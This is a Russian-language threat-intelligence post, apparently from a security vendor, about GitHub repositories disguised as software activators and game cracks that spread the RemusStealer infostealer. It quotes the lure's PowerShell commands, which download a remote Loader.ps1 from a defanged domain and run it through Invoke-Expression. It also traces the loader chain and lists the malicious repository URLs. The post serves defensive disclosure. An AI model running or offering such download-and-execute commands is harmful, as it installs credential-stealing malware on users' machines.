📢 В ходе мониторинга команда RT Protect обнаружила репозиторий с KMS-активатором, который маскировался под легитимный проект (скриншот 1).
Проект предлагает выполнить автоматическую установку и активацию с помощью сочетания клавиш WIN + X и последующего ввода команды:
powershell -ExecutionPolicy Bypass -Command "irm hxxps://github-software[.]su/powershell/Loader.ps1 | iex
Если модуль irm недоступен, предлагается выполнить следующую команду (скриншот 2):
Invoke-RestMethod hxxps://github-software[.]su/powershell/Loader.ps1 | Invoke-Expression
В результате выполнения команды скачивается и запускается PowerShell-скрипт Loader.ps1, который представляет собой одну из стадий загрузки ВПО семейства RemusStealer.
Полная цепочка загрузки ВПО (скриншот 3):
Loader.ps1 → Update.ps1 → 7za.exe + 1.zip → helper.exe → AutoIt3.exe + Ima.a3x → RemusStealer
Выполнение указанных команд было автоматически заблокировано RT Protect EDR (скриншот 4).
Менее чем через 20 минут пользователь был заблокирован в Active Directory, а конечная точка переведена в сетевую изоляцию.
В ходе дальнейшего исследования репозиториев GitHub аналитики обнаружили множество подобных репозиториев, маскирующихся под различные активаторы ПО и компьютерных игр:
github[.]com/dev-Time81576318jagu/KMS-Pico-Download
github[.]com/HydromancerPlant/EasyWorship-Software
github[.]com/Forestplaexpiate/R.E.P.O-Trainer
github[.]com/BoltAnchorage/Affinity-Photo-Tools
github[.]com/CircuitSwift95/Rufus-Iso
github[.]com/FloorSaboteur/Discord-Nitro-Tools
github[.]com/DrakeDeanShield/File-Pumper
github[.]com/Piecelimultiply/Adobe-Acrobat-Professional
github[.]com/NeedInvestor/Imei-Repair-tool
github[.]com/maxiboltnode/Quicken-Deluxe
github[.]com/StorageBankerStable/FabFilter-Pro-Bundle-Software
github[.]com/Goldenouquilt37/Wirecast-Pro
github[.]com/ZEH-oxuTxd8PbqMqVnS791uT/payday3-hack
github[.]com/lightningwayhallway/CyberLink-PowerDirector-2026
github[.]com/Creaturefleweave/VoiceMod-Pro-2026
github[.]com/LakeSunMomentum/CCLeaner-Profesional-2026
github[.]com/JadeVeterinarian/FlashBots-Tool
github[.]com/CenterFlange/Unicore-Star-Rail
github[.]com/Cracked-Flux7259-hq/Marvel-Rivals-Helper
github[.]com/SupremeCloudChart/Rust-External-Menu-2026
github[.]com/Virtual-pwn608993/Cap-Cut-Pro
github[.]com/Werewolftricode/Exposure-x7-Tool
github[.]com/LancerSound27/AOMEI-Backupper
github[.]com/Torusfaroller/Cinebench-Software
github[.]com/Manacleunderrear/CATIA-Software
github[.]com/basiliskloadervacuum/iZotope-Ozone-Software
github[.]com/Gleamlyadome/Hwid-Spoofer-Toolkit
github[.]com/TributaryBroker43/Adobe-After-Effects-2026
github[.]com/CapitalFighterTie17/Jailbreak-Claude
github[.]com/HydromancerPlant/EasyWorship-Software
github[.]com/BoltAnchorage/Affinity-Photo-Tools
github[.]com/FloorSaboteur/Discord-Nitro-Tools
github[.]com/dev-Time81576318jagu/KMS-Pico-Download
github[.]com/NeedInvestor/Imei-Repair-tool
github[.]com/ZEH-oxuTxd8PbqMqVnS791uT/payday3-hack
github[.]com/lightningwayhallway/CyberLink-PowerDirector-2026
github[.]com/Forestplaexpiate/R.E.P.O-Trainer
github[.]com/StorageBankerStable/FabFilter-Pro-Bundle-Software
github[.]com/Piecelimultiply/Adobe-Acrobat-Professional
github[.]com/Creaturefleweave/VoiceMod-Pro-2026
github[.]com/NaturePatronRear/RecoverIt-Software
github[.]com/PsycheCashier/ClaudeAi-Jailbreak-Prompt
🐻 Важно: будьте бдительны и скачивайте программное обеспечение только из проверенных источников.